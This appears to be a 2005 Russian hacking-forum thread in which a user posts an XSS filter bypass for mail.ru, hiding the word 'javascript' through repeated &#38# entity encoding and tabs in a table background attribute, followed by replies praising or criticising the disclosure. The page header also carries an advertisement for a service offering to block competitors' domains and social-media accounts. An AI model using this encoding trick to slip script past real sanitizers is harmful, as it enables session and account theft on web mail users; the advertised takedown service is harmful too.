xss mail.ru

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости Mail-сервис
xss mail.ru

Страница 1 из 2

Опции темы

Поиск в этой теме

Опции просмотра

xss mail.ru

19.08.2005, 20:38

Майор

Постоянный

Регистрация: 24.10.2004

Сообщений: 578

С нами: 11338946

Репутация: 300

xss mail.ru

Проверяв систему, я удивлся тому что фильтр раскодирует ASC II и Hex до потери пульса =), т е до того пока в значении атрибута будет встечаться комбинация

Код:

&#

что нам и интересно, ведь если написать

Код:

&#38#97

фильтр преобразует это в букву - a
кусок слова 'javascr' будет выглядить так :

Код:

&#38#106&#38#97&#38#118&#38#97&#38#115&#38#99&#38#114

и фильтр не воспримает этот кусок как слово ключевое слово javascript

а XSS бдет выглядеть как то так :
фильтр её пропускает, потому что кусок слова закодирован а конец его - нет

Код:

<table background="&#38#106&#38#97&#38#118&#38#97&#38#115&#38#99&#38#114		ipt:alert('Hi from mayor')">
</table>

// внутри табуляция

𝕏 Twitter Reddit Telegram Копировать ссылку

19.08.2005, 21:23

PinkPanther

[ розовый мафиозо ]

Регистрация: 16.03.2005

Сообщений: 301

С нами: 11133086

Репутация: 241

Майор, респект за интересную разработку!!! Но, имхо, не туда запостил!

19.08.2005, 21:44

Xattab

Познающий

Регистрация: 30.05.2005

Сообщений: 38

С нами: 11025338

Репутация: 4

[~цензура~] Майор...то что доктор прописал

прим ну не на столько я молод =)

Последний раз редактировалось Майор; 19.08.2005 в 21:59..

19.08.2005, 21:49

qBiN

Постоянный

Регистрация: 20.01.2005

Сообщений: 899

С нами: 11212166

Репутация: 182

Респект.

19.08.2005, 22:43

Dronga

ВАША реклама ТУТ!!

Регистрация: 01.07.2005

Сообщений: 647

С нами: 10978946

Репутация: 714

Майор, я тебе уже всё сказал =) Респект в общем. Долго ты меня мучил))

__________________
My ICQ: 296@463@859 ONLY!! Please check your list!!
И здесь могла бы быть ВАША реклама!!!

19.08.2005, 22:53

Zadoxlik

Постоянный

Регистрация: 28.02.2005

Сообщений: 853

С нами: 11156006

Репутация: 749

Майор, молодец, но пожалуй соглашусь с PinkPanther.

20.08.2005, 03:02

~~NEsTor~~

Banned

Регистрация: 23.04.2005

Сообщений: 4

С нами: 11077727

Репутация: 0

Имхо о этой баге уже все знали...

Те кто знал, юзал её молча терь ты взял и её разглосил!....

Следущий раз думай прежде чем как такие баги выкладывать пожалуйста и другим не гадить.

20.08.2005, 03:28

PinkPanther

[ розовый мафиозо ]

Регистрация: 16.03.2005

Сообщений: 301

С нами: 11133086

Репутация: 241

NEsTor Я понимаю твоё состояние, но тем немение.....оставь всю свою обиду и агрессию при себе.

Последний раз редактировалось PinkPanther; 20.08.2005 в 03:36..

20.08.2005, 05:34

Майор

Постоянный

Регистрация: 24.10.2004

Сообщений: 578

С нами: 11338946

Репутация: 300

Цитата:

Сообщение от NEsTor

Имхо о этой баге уже все знали...

Те кто знал, юзал её молча терь ты взял и её разглосил!....

Следущий раз думай прежде чем как такие баги выкладывать пожалуйста и другим не гадить.

твоё имхо остаётся при тебе, я данный вид обхода увидил только сегодня
и не указывай что мне делать

#10

20.08.2005, 06:01

~~NEsTor~~

Banned

Регистрация: 23.04.2005

Сообщений: 4

С нами: 11077727

Репутация: 0

Я тебе не указываю, просто подумай в следущий раз о других когда будешь что то такое ценное выкладывать.

Страница 1 из 2

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход